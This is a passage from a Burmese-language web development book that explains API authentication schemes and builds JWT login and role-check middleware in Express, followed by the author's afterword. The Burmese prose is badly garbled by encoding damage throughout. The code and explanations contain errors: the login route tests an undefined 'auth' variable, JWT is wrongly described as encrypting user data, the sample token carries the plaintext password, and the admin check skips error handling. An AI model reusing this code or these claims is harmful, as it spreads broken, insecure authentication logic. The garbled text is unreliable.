API  မှာ ဝင်ခွင့်gပုမgပုစီစစ်gခင်း၊  လုပ်ခွင့်gပုမgပုစီစစ်gခင်း  စတဲ့  Authentication/Authorization  နဲ့  ပက်
သက်ရင် အသံုးများတဲ့ နည်းလမ်းအdနနဲ့ ဒီလုိမျ ို း (၅) မျ ို း ရှိပါတယ်။

1. HTTP Basic
2. Session
3. Token
4. JWT
5. OAuth2

HTTP Basic Authentication ရဲ့အလုပ်လုပ်ပံုက ဒီလုိပါ (ပံု - MDN)။
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Client  က  Resource  တစ်ခုကို  Request  လုပ်တဲ့အခါ  Server  က  401 Unauthorized  ကို  gပန်dပးပါ
တယ်။  တစ်လက်စတည်း  WWW-Authenticate Header  နဲ့အတူ  အသုံးgပုရမယ့်  Authentication
Method ကို အdeကာင်းgပန်ပါတယ်။ နမူနာပံုအရ Basic Authentication ကို အသံုးgပုရမယ်လ့ုိ Server
က dgပာdနတာ goစ်တဲ့အတွက်  Client  က dနာက်တစ်ကြကိမ်မှာ  Authorization Header  နဲ့အတူ
Username, Password ကို  Base64 Encode နဲ့  Encode လုပ်ပြပီး gပန်ပ့ုိပာထားgခင်း goစ်ပါတယ်။ ဒီနည်း
ကdတာ့ ရှင်းပါတယ်။  Client    ကလုိအပ်တဲ့    Username, Password    ကို    Header    မှာ ထည့်ပ့ုိgခင်းgoစ်ပြပီး  
Request   gပုလုပ်တဲ့ အကြကိမ်တိုင်းမှာ ထည့်ပ့ုိdပးo့ုိ လုိအပ်ပါတယ်  ။

Session Authentication ကdတာ့  API  မှာ သံုးdလ့ သိပ်မရှိeကပါzူး။ သံုးလ့ုိမရတာ မဟုတ်ပါzူး။ ရပါ
တယ်။ ဒါdပမယ့်  REST  ရဲ့  မူသdzာအရ  Stateless  goစ်ရမယ်ဆိုတဲ့  သတ်မှတ်ချက်  ရိှထားတဲ့အတွက်
Session က ဒီမူနဲ့ မကိုက်လ့ုိပါ။ Session Authentication ရဲ့ အလုပ်လုပ်ပံုကdတာ့ ဒီလုိပါ။

1. ပထမတစ်ကြကိမ် Client က Username, Password ကို Request နဲ့အတူ dပးရပါမယ်။
2. Server  က စစ်ပြပီး မှန်တယ်ဆိုရင်  User  နဲ့  သက်ဆိုင်တဲ့  အချက်အလက်dတွကို  Session  ထဲမှာ

သိမ်းလုိက်ပါတယ်။
3. Server က Session ID ကို Response နဲ့အတူ gပန်ပ့ုိdပးပါတယ်။
4. Client က လက်ခံရရှိတဲ့ Session ID ကို Cookie ထဲမှာ သိမ်းပါတယ်။
5. dနာက်ပုိင်းမှာ Username, Password ထပ်dပးစရာမလုိdတာ့ပါzူး။ Cookie ထဲမှာသိမ်းထားတဲ့

Session ID ကိုပဲ  gပန်ပိုရ့dတာ့မှာပါ။  Session ID  နဲ့စစ်eကည့်လုိက်လ့ုိ  Session  ထဲမှာ  User  ရဲ့
အချက်အလက်dတွ ရိှdနသ၍ Authenticate goစ်တယ်လို့ လက်ခံပြပီး Server က အလုပ်လုပ်dပး
သွားမှာ မ့ုိလ့ုိပါ။
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Token Authentication  ကိုdတာ့  API  မှာ ကျယ်ကျယ်gပန့်gပန့်သံုးeကပါတယ်။  Stateless  goစ်တဲ့အတွက်
deကာင့်ပါ။ Cookie dတွ Session dတွ မလုိအပ်ပါzူး။ သ့ူရဲ့အလုပ်လုပ်ပုံကဒီလုိပါ။

• ပထမတစ်ကြကိမ် Client က Username, Password ကို Request နဲ့အတူ dပးရပါတယ်။
• Server က စစ်ပြပီး မှန်တယ်ဆိုရင်   Token   တစ်ခု   Generate   လုပ်ပြပီး   Response   gပန်dပးပါတယ်  ။
• Token ကို User Table ထဲမှာလည်း သိမ်းထားdကာင်း ထားလုိက်နိုင်လုိက်ပါတယ်။
• dနာက်ပုိင်းမှာ Client က Username, Password dပးစရာမလုိdတာ့ပါzူး၊ ရထားတဲ့  Token ကို

ပဲgပန်dပးရdတာ့မှာပါ။  Server  က  Token  ကိုစစ်eကည့်ပြပီး  မှန်ကန်တယ်ဆိုရင်  Authenticate
Request အgoစ် လက်ခံအလုပ်လုပ်dပးမှာပါ။

JWT ကလည်း Token Authentication   တစ်မျ ို းပါပဲ  ။  JSON Web Token ရဲ့ အတိုdကာက် goစ်ပါတယ်။
ရိုးရိုး Token Authentication မှာ Token က Random Hash Value တစ်ခုgoစ်dလ့ရှိပါတယ်။ အ့ဲဒီ Token
ထဲမှာအသံုးဝင်တဲ့ အချက်အလက် မပါပါzူး။

JWT  ကdတာ့ အ့ဲဒီလုိ  Random Token  မဟုတ်dတာ့ပါzူး။  User Information  dတွကို  Encrypt  လုပ်
ထားတဲ့ Token goစ်သွားတာပါ။ ဒါdeကာင့် User Information လုိချင်ရင် Token ကို Decrypt လုပ်ပြပီး gပန်
ထုတ်ယူလုိ့ရပါတယ်။  Token  ထဲမှာ အသံုးဝင်တဲ့  အချက်အလက်dတွ ပါသွားတဲ့  သdzာပါ။ ခဏနေdနတဲ့
အခါ JWT ကိုသုံးပြပီး ကုဒ်နမူနာdတွ dရးgပပါမယ်။

OAuth2 ကdတာ့ ရှုပ်ပါတယ်။ နည်းနည်းမဟုတ်ပါzူး dတာ်dတာ်ရှုပ်တာပါ။ အတက်နိုင်ဆုံး ကြကိုးစားပြပီး
dတာ့ ရှင်းdအာင် dgပာeကည့်ပါမယ်။ OAuth   မှာ အစိတ်အပိုင်း   (  ၄  )   ပုိင်းပါတယ်လ့ုိ မှတ်ပါ  ။ မျက်စိထဲ gမင်
လွယ်dအာင် Facebook နဲ့ ဥပမာdပးချင်ပါတယ်။ ဒီလိုပါ။

1. User (သင်)
2. Client Application (Facebook နဲ့ Login ဝင်ရတဲ့ App)
3. Resource Server (Facebook)
4. Authorization Server (Facebook Developer API)
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ဒီသdzာနဲ့ အလုပ်လုပ်ပံုကို dတွ့ oူးeကပါလိမ့်မယ်။ App တစ်ခုကို သုံးချင်လ့ုိoွင့်လိုက်တယ်။ Login with

Facebook ဆိုတဲ့လုပ်dဆာင်ချက်ပါတယ်။ ဒါdeကာင့် အ့ဲဒီ App ကိုသုံးo့ုိ Facebook နဲ့ Login ဝင်လ့ုိရမယ်။
နှိပ်လုိက်တယ်။  Dialog  Box  dပါ်လာပြပီး  Facebook  နဲ့  Login  ဝင်တာကို  Accept  လုပ်မှာလားလ့ုိ
Facebook Developer API  ကလာdမးတယ်။  Accept  လုပ်dပးလိုက်ရင် အ့ဲဒီ  App ကို ကိုယ့်  Facebook
Account နဲ့ ဝင်သုံးလ့ုိ ရသွားပါပြပီ။

ဒီလုိပုံစံ  အလုပ်လုပ်နိုင်dစoို့အတွက်  OAuth  ကို  အသံုးgပုရတာပါ။  dသချာစဉ်းစားeကည့်ပါ။  ပံုမှန်ဆိုရင်
ကိုယ့် API က dပးထားတဲ့ Auth နဲ့ ကိုယ့် API ကိုသုံးရတာပါ။ အခုက ကိုယ့်   API   က dပးထားတဲ့   Auth   နဲ့  
တgခား    App    မှာ သွားပြပီးသံုးလုိ့ ရdနတာပါ  ။ သ့ူရဲ့အလုပ်လုပ်ပံုကို dအာက်က ပံုမှာdလ့လာeကည့်ပါ  (ပံု  -
Digital Ocean)။

1, 2, 3, 4 နံပါတ်စဉ်တပ်dပးလ့ုိ အစီအစဉ်အတိုင်း eကည့်သွားလ့ုိ ရပါတယ်။ 
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1. ပထမဆုံးအdနနဲ့၊ Facebook နဲ့ Login ဝင်o့ုိ User က ခွင့်gပုမgပုdမးရပါတယ်။
2. User က Allow လုပ်ပြပီး ခွင့်gပုလုိက်တဲ့အခါ Authorization Code ထွက်လာပါတယ်။
3. App က Authorization Code ကိုသုံးပြပီး Facebook Developer API ကို User ရဲ့ အချက်အလက်

dတွ Access   လုပ်ခွင့်   dတာင်းပါတယ်။

a) App ကို Developer API မှာအရင် Register လုပ်ထားo့ုိလည်း လုိပါdသးတယ်။ ဒီdတာ့ မှ 
Client ID dတွzာdတွထက်လာမှာပါ။

b) Client ID dတွzာdတွ dသdသချာချာ gပည့်စုံမှန်ကန်dအာင်ပါမှ User ရဲ့ အချက်အလက်ကို 
Third-party zယ် App က ယူသလဲဆိုတဲ့ မှတ်တမ်းကိုရမှာမ့ုိလ့ုိပါ။

4. Authorization Code, Client ID  နဲ့  အချက်အလက် gပည့်စုံမှန်ကန်တယ်ဆိုရင်  Developer API
က Access Token gပန်ထုတ်dပးပါတယ်။

5. App က လုိချင်တဲ့ User ရဲ့အချက်အလက်ကို အ့ဲဒီ Access Token   ကိုသံုးပြပီး   ရယူလ့ုိရသွားပါပြပီ။

ကိုယ့်  Service  က  Facebook  လုိ  Resource  Server  goစ်နိုင်သလုိ၊  Facebook  Developer  API  လုိ
Authorization Server လည်း goစ်နိုင်ပါတယ်။ ဒါဟာ OAuth ရဲ့ အလုပ်လုပ်ပံု အကျဉ်းချုပ်ပါပဲ။  အကျယ်
dgပာမယ်ဆိုရင်  သ့ူချည်းပဲ  စာတစ်အုပ်စာ  ရှိပါလိမ့်မယ်။  ဒါdeကာင့်  သdzာသzာဝ  ပုိင်းdလာက်ပဲ
မှတ်ထားdပးပါ။  OAuth  အdeကာင်း  Digital  Ocean  မှာdoာ်gပထားတဲ့  dဆာင်းပါးတစ်ပုဒ်ကို  goည့်စွက်
dလ့လာeကည့်o့ုိ အကြကံgပုပါတယ်။

- https://www.digitalocean.com/community/tutorials/an-introduction-to-oauth-2

JWT Authentication & Authorization
JWT  ရဲ့  သdzာသzာဝကို  အdပါ်မှာ  dgပာခဲ့ပါတယ်။  Token    ကို  အdgခခံတဲ့    Authentication    goစ်ပြပီး  
dတာ့   Token   ထဲမှာ အသံုးဝင်တဲ့ အချက်အလက်dတွ ပါဝင်မှာပါ  ။ ဒီအတွက် Token oန်တီးတာdတွ၊ မှန်မ
မှန် gပန်စစ်တာdတွ၊ Token ကို Encrypt/Decrypt လုပ်တာdတွ၊ အကုန်လုပ်dပးနိုင်တဲ့ Package တစ်ခုရှိ
ပါတယ်။ jsonwebtoken လ့ုိdခါ်ပါတယ်။ စမ်းသပ်နိုင်o့ုိအတွက် dရးသားလက်စ ပdရာZျက်ထဲမှာ အခု
လုိ Install လုပ်လုိက်ပါ။

https://www.digitalocean.com/community/tutorials/an-introduction-to-oauth-2
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npm i jsonwebtoken

ပြပီးတဲ့အခါ၊ ထံုးစံအတိုင်း Import လုပ်dပးလိုက်ရင် စသံုးလ့ုိရပါပြပီ။

 JavaScript 
const jwt = require("jsonwebtoken");
const secret = "horse battery staple";

နမူနာကုဒ်မှာdတွ့ရတဲ့  secret ဆိုတာကdတာ့  Token  dတွကို  Encrypt/Decrypt  လုပ်ရာမှာ သံုးမယ့်
Code goစ်ပါတယ်။ Auth လုပ်ငန်းdတွ စမ်းသပ်dရးသားနိုင်oို့အတွက်  User Account တစ်ချ ို ့ လုိပါမယ်။
Database dတွzာdတွမသံုးdတာ့ပါzူး။ ရိုးရိုး JSON Array တစ်ခုနဲ့ပဲစမ်းeကည့်eကပါမယ်။ ဒီလုိပါ -

 JavaScript 
const users = [
    { username: "Alice", password: "password", role: "admin" },
    { username: "Bob", password: "password", role: "user" },
];

User Account  နှစ်ခရုှိပါတယ်။  role မတူeကပါzူး။ တစ်ဦးက  admin goစ်ပြပီး dနာက်တစ်ဦးကdတာ့
user goစ်ပါတယ်။ ပြပီးတဲ့အခါ login လုပ်dဆာင်ချက်တစ်ခုကို အခုလုိdရးeကပါမယ်။

 JavaScript 
app.post("/api/login", function(req, res) {
    const { username, password } = req.body;
    const user = users.find(function(u) {
        return u.username === username && u.password === password;
    });

    if(auth) {
        jwt.sign(user, secret, { 
            expiresIn: "1h" 
        }, function(err, token) {
            return res.status(200).json({ token });
        });
    } else {
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        return res.sendStatus(401);
    }
});

Request Method POST goစ်ရမှာgoစ်ပြပီး URL က /api/login goစ်ပါတယ်။ Request နဲ့အတူ မှန်ကန်
တဲ့  Username, Password  ပါရမှာgoစ်ပြပီး၊  မှန်တယ်ဆိုရင်  JWT Token တစ်ခုကို  gပန်dပးမှာပါ။ မမှန်ရင်
401 ကို gပန်ပ့ုိမှာပါ။ jwt.sign() ကိုသုံးပြပီး Token oန်တီးယူပါတယ်။ Parameter (၄) ခု dပးထားပါ
တယ်။ User Data, Secret, Expire Time နဲ့  Callback Function တို့goစ်ပါတယ်။ Request  က ဒီလုိပံုစံ
ဝင်လာတယ်လ့ုိ သdzာထားပါ။

 Request 
POST /api/login
Content-type: appliction/json
{ username: "Bob", password: "password" }

ဒါဆိုရင် gပန်ရမယ့် Token ရဲ့ oဲွ့စည်းပံုက ဒီလုိပံုစံ goစ်နိုင်ပါတယ်။ Postman နဲ့ စမ်းeကည့်နိုင်ပါတယ်။

 Token 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IkJvYiIsInBhc3
N3b3JkIjoicGFzc3dvcmQiLCJyb2xlIjoidXNlciIsImlhdCI6MTYwMDc2MzI1NiwiZ
XhwIjoxNjAwNzY2ODU2fQ.-OBn8nIEmJqdNc9XfoUVVcZc7PEVUWHVQOP85YIlygo

Token  တည်dဆာက်စဉ်မှာ  Expire Time  dပးခဲ့တာကို  သတိgပုပါ။ ဒီ  Token  ဟာ  (၁)  နာရီသက်တမ်း
အတွင်းပဲ  Valid goစ်မှာပါ။ (၁) နာရီdကျာ်ရင် dနာက်တစ်ခါ login လုပ်ပြပီး  Token gပန်ထုတ်ရမှာgoစ်ပါ
တယ်။ Token မှန်မမှန်စစ်တဲ့ Function တစ်ခုdလာက် ဆက်dရးeကပါမယ်။
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 JavaScript 
function auth(req, res, next) {
    const authHeader = req.headers["authorization"];
    if(!authHeader) return res.sendStatus(401);
    const [ type, token ] = authHeader.split(" ");
    if(type !== "Bearer") return res.sendStatus(401);
    jwt.verify(token, secret, function(err, data) {
        if(err) return res.sendStatus(401);
        else next();
    });
}

Authorization Header  ပါမပါ  စစ်ပါတယ်။ မပါရင်  401  gပန်ပ့ုိပါတယ်။  JWT  ရဲ့  Standard  အရ
Authorization Header ရဲ့ oဲွ့စည်းပံု ဒီလုိgoစ်ရပါတယ်။

Authorization: Bearer [token]

ဒါdeကာင့်  Authorization Header Value  ကို  Split  လုပ်ပြပီး နှစ်ပုိင်းခွဲလုိက်ပါတယ်။ ပထမတစ်ပုိင်း
က  Bearer  goစ်ပြပီး  dနာက်တစ်ပုိင်းက  Token  goစ်ရပါမယ်။  Token  ကို  verify() နဲ့  မှန်မမှန်စစ်ပါ
တယ်။ မှန်တယ်ဆိုdတာ့မှ next() နဲ့ ဆက်အလုပ်လုပ်ခွင့်ကို dပးထားgခင်း goစ်ပါတယ်။

ဒီ Function က Middleware Function တစ်ခုgoစ်ပါတယ်။ ဒါdပမယ့်  app.use() နဲ့  Route အားလံုး
မှာ သံုးo့ုိ သတ်မှတ်မထားပါzူး။ သတ်မှတ်လို့မgoစ်ပါzူး။ login လုိလုပ်dဆာင်ချက်မျ ို းကို  Token ပါရ
မယ်လို့  သွားdgပာလို့  မgoစ်ပါzူး။  Token  မရှိလ့ုိzဲ  login နဲ့  Token  ထုတ်dနတာပါ။ ဒါdeကာင့် ကိုယ်
သတ်မှတ်ချင်တဲ့ Route မှာပဲ အခုလုိ သတ်မှတ်dပးလုိက်လို့ ရပါတယ်။

 JavaScript 
app.get("/api/records", auth, function(req, res){
    …
});



PWD 2022 – အခန်း (၇၅) – API Auth 934

ဒီသတ်မှတ်ချက်အရ /api/records ကို  Request  ဝင်လာတဲ့အခါ dစာdစာကdရးdပးထားတဲ့  auth
Middleware ကိုသံုးပြပီး စစ်dပးသွားမှာပါ။ Token မပါရင် 401 ကိုgပန်dပးမှာgoစ်ပြပီး Token မမှန်ရင်လည်း
401  ကိုပဲ  gပန်dပးသွားမှာပါ။ အလုပ်လုပ်ခွင့်dပးမှာ မဟုတ်ပါzူး။  Token  မှန်မှသာ ဆက်အလုပ်လုပ်ခွင့်
dပးမှာပဲ goစ်ပါတယ်။ ဒီနည်းနဲ့ ကိုယ့်  API  အတွက်  Authentication လုပ်dဆာင်ချက် ထည့်သွင်းနိုင်gခင်း
goစ်ပါတယ်။

စမ်းeကည့်နိုင်o့ုိအတွက် အရင်ဆုံး login လုပ်လုိက်ပါ။ ရလာတဲ့ Token ကိုသုံးပြပီး ဆက်လက်doာ်gပထား
တဲ့ပံုမှာ နမူနာgပထားသလို စမ်းeကည့်နိုင်ပါတယ်။

ဒါက Authentication  ပုိင်းပါ။  Token ပါတယ်၊ မှန်တယ်ဆိုရင် ခွင့်gပုလိုက်တာပါ။  role dပါ်မူတည်ပြပီး
သက်ဆိုင်ရာအလုပ်ကို  လုပ်ပုိင်ခွင့်ရှိမရှိ  စစ်တဲ့တဲ့  Authorization  ပုိင်းကိုလည်း  ဆက်eကည့်ပါဦးမယ်။
dနာက်ထပ် Function တစ်ခုအခုလုိ ထပ်dရးdပးရမှာပါ။
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 JavaScript 
function onlyAdmin(req, res, next) {
    
    const [ type, token ] = req.headers["authorization"].split(" ");
    jwt.verify(token, secret, function(err, user) {
        if(user.role === "admin") next();
        else return res.sendStatus(403);
    });
}

Token ကို Decrypt လုပ်လုိက်ပြပီး အထဲက role တန်oုိးကိုပဲ စစ်လုိက်တာပါ။ role က admin goစ်မှပဲ
ဆက်လုပ်ခွင့်dပးပြပီး admin မဟုတရ်င် 403 ကို gပန်dပးထားပါတယ်။ ဒီ Middleware ကို Admin goစ်မှ
လုပ်ခွင့်gပုချင်တဲ့ Route dတွမှာ အခုလုိ ထည့်dပးနိုင်ပါတယ်။

 JavaScript 
app.delete("/api/records/:id", auth, onlyAdmin, function(req, res) {
    … 
});

နမူနာအရ DELETE လုပ်dဆာင်ချက်အတွက်  auth dရာ onlyAdmin ကိုပါ  Middleware dတွအgoစ်
သတ်မှတ်dပးလုိက်တာပါ။ ဒါdeကာင့် Auth goစ်ယံုနဲ့dတာင် ဒီအလုပ်ကို လုပ်လ့ုိမရdတာ့ပါzူး။ role က
admin goစ်မှပဲ လုပ်ခွင့်ရှိdတာ့မှာgoစ်ပါတယ်။

ဒီနည်းနဲ့ JWT ကို သံုးပြပီး API အတွက် Authentication dတွ Authorization dတွ လုပ်လ့ုိရနိုင်ပါတယ်။ ဒီ
ကုဒ်ဟာ  အdgခခံသdzာသzာဝကို  dပါ်လွင်dစo့ုိ  ဦးစားdပး  doာ်gပတဲ့ကုဒ်goစ်ပါတယ်။  တစ်ကယ့်
လက်dတွ့မှာ -

• User Account dတွကို Database ထဲမှာထားပြပီး Register dတzွာdတွလုပ်လ့ုိရo့ုိလုိပါမယ်။
• Password dတွကို ဒီအတိုင်းမသိမ်းzဲ Hash လုပ်ပြပီး သိမ်းo့ုိလုိပါမယ်။
• User နဲ့ Role dတွကို စီမံနိုင်တဲ့ လုပ်ငန်းdတွ ထည့်dရးdပးရပါမယ်။
• Secret ကို ကုဒ်ထဲမှာ အdသမdရးzဲ .env လုိoုိင်မျ ို းနဲ့ ခွဲထားပြပီးdခါ်သံုးdပးo့ုိ လုိပါမယ်။
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မdgပာgoစ်လုိက်တာမျ ို း  goစ်မှာစိုးလ့ုိသာ  ထည့်dgပာတာပါ။  ဒီdနရာမှာdတာ့  အ့ဲဒီထိပြပီးgပည့်စုံdအာင်
doာ်gပနိုင်gခင်း မရှိပါzူး။ ဒီစာအုပ်မှာ doာ်gပခဲ့တဲ့ အdgခခံသdzာသzာဝdတွကို dကာင်းdကာင်နားလည်
တယ်ဆိုရင် ဒါdတွကို ကိုယ်တိုင်ဆက်လက် dလ့လာပြပီးလုပ်လ့ုိရသွားမှာပါ။

API  Authentication  နဲ့ပက်သက်ရင်  PassportJS  လုိ  Framework  မျ ို းdတွလည်းရှိပါdသးတယ်။  လူ
ကြကိုက်များပြပီး လက်dတွ့ပdရာZျက်dတွမှာ တွင်တွင်ကျယ်ကျယ် အသံုးgပုeကပါတယ်။ ဒီလုိနည်းပညာမျ ို း
ကိုလည်း ဆက်လက်ပြပီး goည့်စွက်dလ့လာထားeကo့ုိ တိုက်တွန်းပါတယ်။

- http://www.passportjs.org/

အခုဆိုရင် ဒီအပုိင်းမှာdoာ်gပချင်တဲ့ အdeကာင်းအရာdတွ gပည့်စုံသွားပါပြပီ။ နမူနာအdနနဲ့ dရးခဲ့တဲ့ကုဒ်dတွ
ကို ဒီမှာ Download လုပ်လုိ့ရပါတယ်။

- https://github.com/eimg/api-book

https://github.com/eimg/api-book
http://www.passportjs.org/
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dနာက်ဆုံးအdနနဲ့  API  နဲ့ပက်သက်ပြပီး  goည့်စွက်dလ့လာသင့်တဲ့  Resource  dလးdတွ  ထည့်သွင်းdoာ်gပ
dပးလုိက်ပါတယ်။

Best practices for a pragmatic RESTful API
- https://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api

Specification for building APIs in JSON
- https://jsonapi.org/

Stack Overflow Best practices for REST API design
- https://stackoverflow.blog/2020/03/02/best-practices-for-rest-api-design/

Microsoft REST API Guideline
- https://github.com/microsoft/api-guidelines/blob/vNext/Guidelines.md

Google JSON Style Guide
- https://google.github.io/styleguide/jsoncstyleguide.xml

REST in Practice (Book)
- http://restinpractice.com/

http://restinpractice.com/
https://google.github.io/styleguide/jsoncstyleguide.xml
https://github.com/microsoft/api-guidelines/blob/vNext/Guidelines.md
https://stackoverflow.blog/2020/03/02/best-practices-for-rest-api-design/
https://jsonapi.org/
https://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api


PWD 2022 – နိZုံးချုပ် 938

နိမေဂံုးချုပ်

ဒီစာအုပ်ဟာ  ကျွန်dတာd်ရးသားထားတဲ့  မူလပထမ  Professional  Web  Developer  စာအုပ်ရဲ့
dနာက်ဆက်တွဲ  Update  Version  လ့ုိ  ဆိုနိုင်ပါတယ်။  မူလ  Profession  Web  Developer  စာအုပ်ကို
(၂၀၁၃)  ခုနှစ်မှာ  ပထမအကြကိမ်  ပံုနှိပ်ထုတ်dဝခဲ့လ့ုိ  အခုဒီစာdရးသားdနချနိ်မှာဆိုရင်  အချနိ်  (၈)  နှစ်
dလာက်  eကာခဲ့ပြပီgoစ်ပါတယ်။  အ့ဲဒီဟာအုပ်ဟာ  စာoတ်သူများအeကား  အသံုးဝင်  လူကြကိုက်များလ့ုိ
အကြကိမ်ကြကိမ် ထပ်မံတည်းgoတ် ပံုနှိပ်ခဲ့ရပြပီး dနာက်ဆုံး စတုတ္ထအကြကိမ်ကိုdတာ့  (၂၀၁၆) ခုနှစ်မှာ ထုတ်dဝ
goစ်ခဲ့ပါတယ်။

အချနိ်  (၈)  နှစ်ဆိုတာဟာ  အပြမဲတိုးတက်dgပာင်းလဲdနတဲ့  နည်းပညာသက်တမ်းအရဆိရုင်  အdတာ်ကို
eကာgမင့်ခဲ့ပြပီလို့  ဆိုရမှာပါ။  နည်းပညာdတွလည်း အdတာ်dလး dgပာင်းလဲသွားခဲ့ပြပီgoစ်လ့ုိ  စတတု္ထအကြကိမ်
တည်းgoတ်ထုတ်dဝမှုအပြပီးမှာ ထပ်မံတည်းgoတ်o့ုိဆိုတာ မလွယ်dတာ့ပါzူး။ အစအဆုံး အdတာ်များများ
ကို  gပင်ဆင်ရdတာ့မှာgoစ်လ့ုိ  gပင်ဆင်တည်းgoတ်တဲ့သdzာ  မဟုတ်dတာz့ဲ  အစအဆုံး  gပန်dရးရမယ့်
သdzာ goစ်လာပါdတာ့တယ်။

ဒီလုိ စာအုပ်တစ်အုပ် dရးသားgပုစုရတာ မလွယ်ပါzူး။ လdပါင်းများစွာ အထူးအာရုံစိုက်ပြပီး အချနိ်dပးရပါ
တယ်။ စားလည်းဒီစိတ်၊ သွားလည်းဒီစိတ်၊ အိပ်လည်းဒီစိတ် ဆိုတာမျ ို းအထိ ကိုယ့်စွမ်းအင်dတွကို gမှုပ်နှံ
dရးသားရတာပါ။ မူလကျွမ်းကျင်မှုနဲ့တင် မလံုdလာက်zဲ ပုိတိကျo့ုိ၊  ပုိdသချာo့ုိအတွက်  Research  dတွ
ကိုလည်း  တစ်ပြပိုင်ထဲမှာ  လုပ်ရပါdသးတယ်။  အချက်အလက်dတွ  စုစည်းရပါတယ်။  ခက်ခဲတဲ့
အdeကာင်းအရာdတွကို  စာoတ်သူ  နားလည်လွယ်dအာင်၊  အချတိ်အဆက်မိdအာင်၊  အမျ ို းမျ ို းလှည့်ပါတ်
စဉ်းစား dရးလုိက် gပင်လုိက် အကြကိမ်ကြကိမ် လုပ်ရပါတယ်။ dတာ်dတာ့်ကို မလွယ်တာပါ။
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ဒီလုိမလွယ်တဲ့အတွက်deကာင့်ပဲ  အသစ်တစ်အုပ်သာ  dရးရမယ်ဆိုရင်  dရးgoစ်မှာ  မဟုတ်dတာ့ပါzူး။  မ
dရးgoစ်dလာက်dတာ့zူးလ့ုိ  ထင်ထားတာပါ။  ဒီလုိနဲ့  နှစ်အချ ို ့eကာပြပီး  dနာက်မှ  (၂၀၂၀)  gပည့်နှစ်ထဲမှာ
Covid-19  ကပ်dရာZါdတွdeကာင့် အလုပ်dတွပိတ်ပြပီး  အိမ်ထဲကအိမ်gပင်မထွက်  Stay-at-home  dနရတဲ့
ကာလdတွ ရှိလာတဲ့အခါ အချနိ်အားdတွ  ရှိလာတာနဲ့  လုိတိုရှင်း  စာအုပ်အတိုdလးdတွ  dရးသားgoစ်ခဲ့ပါ
တယ်။  အချနိ်အားdလးdတွ  ရှိလာတယ်ဆိုdပမယ့်  dပါ့dပါ့ပါးပါး  အတိုချုပ်ပဲ  dရးမယ်လ့ုိ  ရည်ရွယ်တဲ့
အတွက်deကာင့်သာ dရးgoစ်သွားတာပါ။ အခုလုိ စာအုပ်မျ ို းကြကီးကိုသာ တစ်ခါထဲ dရးo့ုိအားထုတ်ခဲ့မယ်ဆို
ရင် အမှန်တစ်ကယd်ရးgoစ်o့ုိ၊ အပြပီးသတ်goစ်o့ုိ မလွယ်ပါzူး။

ကပ်dရာZါကြကီးဟာ အချနိ်  (၃-၄)  လdလာက်နဲ့  ပြပီးသွားမလား dမျှာ်လင့်ခဲ့dပမယ့်  အခုဒီစာကိုdရးdနချနိ်
မှာ  (၂၀၂၁)  ကုန်လ့ုိ  (၂၀၂၂)  dတာင် dရာက်ပါdတာ့မယ်။  (၂)  နှစ်dလာက်eကာခဲ့ပြပီ  goစ်dပမယ့် မပြပီးဆုံး
dသးပါzူး။ eကားထဲမှာ ကပ်dရာZါနှိပ်စက်မှုdeကာင့် အားလံုးပဲ အခက်အခဲ အeကမ်အတည်းကိုယ်စီ ရိှခဲ့eက
မှာ အdသအချာပါပဲ။ အ့ဲဒီလုိအeကပ်အတည်းdတွeကားထဲက အရှုံးထဲက အgမတ်လ့ုိပဲ ဆိုရပါမယ်။ တစ်gခား
zာမှလုပ်လို့မရတိုင်း စာပဲထုိင်dရးdနလုိက်တာ လုိတိုရှင်း စာအုပ်တိုdလးdတွ (၇) အုပ်ထိ dရးသားgoစ်ခဲ့
ပါdတာ့တယ်။

ဒီစာအုပ်ဟာ အ့ဲဒီစာအုပ်dတွထဲက Bootstrap လုိတိုရှင်း၊ JavaScript လုိတိုရှင်း၊ PHP လုိတိုရှင်း၊ Laravel
လုိတိုရှင်း၊  React လုိတိုရှင်း နဲ့  API လုိတိုရှင်းဆိုတဲ့ စာအုပ် (၆) အုပ်ကို dပါင်းစပ်ပြပီး လုိအပ်သလုိ ညိှနှိုင်း
goည့်စွက်  ထုတ်dဝgoစ်ခဲ့gခင်း  goစ်ပါတယ်။  Update  လုပ်o့ုိ  လုိအပ်dနတဲ့  မူလပထမ  Profession  Web
Developer စာအုပ်ကို dနာက်ဆုံးမှာ Update လုပ်နိုင်ခဲ့ပြပီလ့ုိ ဆိုရပါမယ်။

မူလ Profession Web Developer စာအုပ်နဲ့ ပက်သက်ပြပီး ကျွန်dတာ့်ကို ဆက်သွယ်dကျးဇူးစကား ဆိုလာ
သူdတွမှ  အများကြကီးရှိပါတယ်။  အ့ဲဒီစာအုပ်ရဲ့  အကူအညီနဲ့  လက်dတွ့လုပ်ငန်းခွင်ဝင်  ကျွမ်းကျင်  Web
Developer  အgoစ်  gပည်တွင်းမှာdရာ  gပည်ပမှာပါ  ရပ်တည်နိုင်သွားeကသူdတွ  အdတာ်များများ  ရှိdနပါ
တယ်။  ဒီလိုdတွ  eကားသိရတဲ့အတွက်လည်း  အတိုင်းမသိ  ပီတိgoစ်ရပါတယ်။  အ့ဲဒီပီတိကိုစား  အားရှိတဲ့
အတွက်deကာင့်ပဲ dလ့လာသူများအတွက် အသံုးဝင်တဲ့ oန်တီးမှုdတွကို ဆက်လက်gပုလုပ်o့ုိ အပြမဲကြကိုးစား
dနgoစ်ပါတယ်။
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ဒီစာအုပ်ကdနလည်း  မူလ  Professional  Web  Developer  စာအုပ်လုိပဲ၊  လက်dတွ့လုပ်ငန်းခွင်ဝင်
ကျွမ်းကျင်အဆင့် Web Developer  dတွ dမွးထုတ်dပးနိုင်လိမ့်မယ်လ့ုိ ယံုeကည်ပါတယ်။ ဒီစာအုပ်ရဲ့  PDF
Ebook Version ကို ကျွန်dတာ့် Website မှာ အချနိ်မdရွး အခမ့ဲ Download ရယူနိုင်တယ်ဆိုတာကိုလည်း
goည့်စွက် အသိdပးချင်ပါတယ်။

- https://eimaung.com

အားလံုးပဲ ကိုယ်စိတ်နှစ်goာ ကျမ်းမာချမ်းသာပြပီး ထွန်းdပါက်dအာင်gမင်သူdတွ goစ်eကပါdစလ့ုိ ဆုdတာင်း
ရင်း နိZုံးချုပ်လုိက်ပါတယ်။

အိမေ��ာင် (Fairway)
၂၀၂၁ ခုနှစ်၊ ဒီဇင်zာ (၆) ရက်dန့တွင် dရးသားပြပီးစီးသည်။

https://eimaung.com/
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စာ�@းသ၏ူကိမေုယ်�@းအကျဉ်း

